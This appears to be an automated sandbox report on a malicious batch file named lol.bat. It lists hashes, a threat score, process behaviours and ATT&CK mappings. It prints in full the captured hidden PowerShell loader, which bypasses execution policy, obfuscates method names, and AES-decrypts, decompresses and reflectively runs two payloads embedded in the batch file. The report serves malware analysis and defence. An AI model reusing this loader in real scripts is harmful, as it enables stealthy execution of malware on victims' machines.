7772e47f23947ab8ec3ccd03173e02e73252b906cc780681447049e12d4cb9cb

Resubmissions

09-11-2024 16:16

241109-tq8bssxgql 10

09-11-2024 16:15

241109-tqdgesxfpa 10

Analysis

max time kernel
16s
max time network
17s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
09-11-2024 16:15

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General

Target

lol.bat
Size

279KB
MD5

b5c81dca8f6b148790d14c93ba1788d4
SHA1

11fa7bdf65ac8b835b27c895f3d3e357f87a28f2
SHA256

7772e47f23947ab8ec3ccd03173e02e73252b906cc780681447049e12d4cb9cb
SHA512

14bb171192854a481b7d26ec69e3dc7ffbe55755c3191629697298553ce919d5b1bd4719531b271304a530e5a01478bad0167f6fb66ae8d869da1f34b8713b51
SSDEEP

6144:5toA7r23ZOt+yxLqRvs+wAbTXJuE/SzXm3+gK+4QpTz:4AsOkmqTPbTJuEcmut+ppTz

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
2512	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid	Process
2512	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	2512	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	Process	procid_target
PID 1760 wrote to memory of 2512	1760	cmd.exe	31
PID 1760 wrote to memory of 2512	1760	cmd.exe	31
PID 1760 wrote to memory of 2512	1760	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\lol.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6FKXqM4AWzehcRMiEtEBJSZ307MDhrlms/qR1ZbmvDU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xXq5NOPfLug2n5zZd7UfxA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $gIuVu=New-Object System.IO.MemoryStream(,$param_var); $DStlk=New-Object System.IO.MemoryStream; $aEunE=New-Object System.IO.Compression.GZipStream($gIuVu, [IO.Compression.CompressionMode]::Decompress); $aEunE.CopyTo($DStlk); $aEunE.Dispose(); $gIuVu.Dispose(); $DStlk.Dispose(); $DStlk.ToArray();}function execute_function($param_var,$param2_var){ $RzZmF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $dlKfW=$RzZmF.EntryPoint; $dlKfW.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\lol.bat';$fQtTT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\lol.bat').Split([Environment]::NewLine);foreach ($zlOoi in $fQtTT) { if ($zlOoi.StartsWith(':: ')) { $QSoii=$zlOoi.Substring(3); break; }}$payloads_var=[string[]]$QSoii.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2512-4-0x000007FEF61AE000-0x000007FEF61AF000-memory.dmp

Filesize
4KB

Download
memory/2512-5-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/2512-6-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/2512-7-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

Filesize
9.6MB

Download
memory/2512-8-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

Filesize
9.6MB

Download
memory/2512-9-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

Filesize
9.6MB

Download